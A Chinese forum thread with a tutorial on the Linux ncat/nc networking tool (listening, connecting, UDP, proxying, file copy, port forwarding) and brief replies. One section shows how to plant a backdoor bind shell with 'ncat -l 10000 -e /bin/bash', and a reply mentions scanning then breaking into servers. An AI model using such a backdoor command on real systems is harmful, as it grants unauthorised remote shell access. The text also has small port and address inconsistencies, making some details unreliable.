快速注册 找回密码

QQ登录

只需一步,快速开始

查看: 539|回复: 5

linux系统ncat命令详解--网络界的瑞士军刀

[复制链接]
  • TA的每日心情

    2020-5-20 10:16
  • 签到天数: 6 天

    [LV.2]偶尔看看I

    发表于 2020-5-18 16:56:39 | 显示全部楼层 |阅读模式
    概述

    ncat 或者说 nc 是一款功能类似 cat 的工具,但是是用于网络的。它是一款拥有多种功能的 CLI 工具,可以用来在网络上读、写以及重定向数据。 它被设计成可以被脚本或其他程序调用的可靠的后端工具。同时由于它能创建任意所需的连接,因此也是一个很好的网络调试工具。
    ncat/nc 既是一个端口扫描工具,也是一款安全工具,还是一款监测工具,甚至可以做为一个简单的 TCP 代理。 由于有这么多的功能,它被誉为是网络界的瑞士军刀。 这是每个系统管理员都应该知道并且掌握它。
    以下基于centos7进行测试。
    1、安装

    yum install nmap-ncat -y
    gZDG1gBvSs9T1s1s.jpg

    系统管理员可以用它来审计系统安全,用它来找出开放的端口然后保护这些端口。 管理员还能用它作为客户端来审计 Web 服务器、telnet 服务器、邮件服务器等, 通过 nc 可以控制发送的每个字符,也可以查看对方的回应。
    2、监听入站连接

    通过 -l 选项,ncat 可以进入监听模式,在指定端口监听入站连接。 完整的命令是这样的:
    ncat -l port_number
    比如
    ncat -l 80
    服务器就会开始在 8080 端口监听入站连接。
    K1PsftFE9lE81jcZ.jpg

    3、连接远程系统

    使用下面命令可以用 nc 来连接远程系统
    ncat IP_address port_number
    实例:
    ncat xx.xx.xx.xx 80
    这会创建一个连接,连接到 IP 为xx.xx.xx.xx的服务器上的 80 端口,然后就可以向服务器发送指令了。
    4、 连接 UDP 端口

    默认情况下,nc 创建连接时只会连接 TCP 端口。 不过我们可以使用 -u 选项来连接到 UDP 端口
    ncat -l -u 1234
    现在系统会开始监听 UDP 的 1234 端口,可以使用下面的 netstat 命令来验证这一点
    netstat -tunlp | grep 1234
    kBCcMISuU1boPq4Y.jpg

    假设想发送或者说测试某个远程主机 UDP 端口的连通性,可以使用下面命令
    ncat -v -u {host-ip} {udp-port}
    比如
    bu6J9qgm1Wo66t19.jpg

    5、将 nc 作为聊天工具

    nc 也可以作为聊天工具来用,可以配置服务器监听某个端口,然后从远程主机上连接到服务器的这个端口,就可以开始发送消息了。
    在服务器这端运行:
    ncat -l 80
    Eb2jd4Pji5vZRbjR.jpg

    在远程客户端主机上运行:
    ncat xx.xx.xx.xx 80
    fI7N7PRjsNQ4MFEM.jpg

    之后开始发送消息,这些消息会在服务器终端上显示出来。
    6、将 nc 作为代理

    nc 也可以用来做代理。比如下面这个例子
    ncat -l 8080 | ncat xx.xx.xx.xx 80
    所有发往服务器 8080 端口的连接都会自动转发到 192.168.1.200 上的 80 端口。 不过由于使用了管道,数据只能被单向传输。 要同时能够接受返回的数据,需要创建一个双向管道。 使用下面命令可以做到这点
    mkfifo 2way
    ncat -l 8080 0<2way | ncat xx.xx.xx.xx 1>2way
    现在你可以通过 nc 代理来收发数据了
    7、使用 nc 拷贝文件(不建议)

    nc 还能用来在系统间拷贝文件,虽然这么做并不推荐,因为绝大多数系统默认都安装了 ssh/scp。
    在要接受数据的机器上启动 nc 并让它进入监听模式:
    ncat -l 8080 > file.txt
    现在去要被拷贝数据的机器上运行下面命令:
    ncat xx.xx.xx.xx 8080 --send-only < data.txt
    这里,data.txt 是要发送的文件。 -–send-only 选项会在文件拷贝完后立即关闭连接。 如果不加该选项, 需要手工按下 ctrl+c 来关闭连接。
    我们也可以用这种方法拷贝整个磁盘分区,不过请一定要小心
    8、通过 nc 创建后门

    nc 命令还可以用来在系统中创建后门,并且这种技术也确实被黑客大量使用。创建后门的命令为:
    ncat -l 10000 -e /bin/bash
    tDcXU8DQBUD11ET7.jpg

    -e 标志将一个 bash 与端口 10000 相连。现在客户端只要连接到服务器上的 10000 端口就能通过 bash 获取系统的完整访问权限:
    ncat xx.xx.xx.xx 10000
    a9UnbpYRuBB9Y4ap.jpg

    9、 通过 nc 进行端口转发

    通过选项 -c 来用 nc 进行端口转发,实现端口转发的语法为:
    ncat -u -l 80 -c 'ncat -u -l 8080'
    这样,所有连接到 80 端口的连接都会转发到 8080 端口
    10、设置连接超时

    nc 的监听模式会一直运行,直到手工终止。 可以通过选项 -w 设置超时时间:
    ncat -w 10 xx.xx.xx.xx 8080
    这会导致连接 10 秒后终止,不过这个选项只能用于客户端而不是服务端。
    11、 使用 -k 选项强制 nc 待命

    当客户端从服务端断开连接后,过一段时间服务端也会停止监听。 但通过选项 -k 可以强制服务器保持连接并继续监听端口。 命令如下:
    ncat -l -k 8080
    现在即使来自客户端的连接断了也依然会处于待命状态。
    觉得有用的朋友多帮忙转发哦!后面会分享更多devops和DBA方面的内容,感兴趣的朋友可以关注下~
    cHu80touUrCqRHqI.jpg
  • TA的每日心情
    擦汗
    2020-5-17 10:44
  • 签到天数: 6 天

    [LV.2]偶尔看看I

    发表于 2020-5-18 16:56:54 | 显示全部楼层
    转发了

    该用户从未签到

    发表于 2020-5-18 16:57:09 | 显示全部楼层
    namp扫描端口,ncat进去服务器
  • TA的每日心情

    2020-5-20 10:16
  • 签到天数: 6 天

    [LV.2]偶尔看看I

     楼主| 发表于 2020-5-18 16:57:24 | 显示全部楼层
    very good tools
    头像被屏蔽

    该用户从未签到

    发表于 2020-5-18 16:57:39 | 显示全部楼层
    提示: 作者被禁止或删除 内容自动屏蔽

    该用户从未签到

    发表于 2020-5-18 16:57:54 | 显示全部楼层
    socat
    您需要登录后才可以回帖 登录 | 快速注册

    本版积分规则

    Powered by Discuz! X3.4 © 2006-2020 Comsenz Inc

    本站信息来自网络,版权争议与本站无关。一切关于该资源商业行为与[小城社区]无关。 如有侵犯您版权的,请邮件与我们联系处理(邮箱:10000@546800.com),本站将立即改正。
    快速回复 返回顶部 返回列表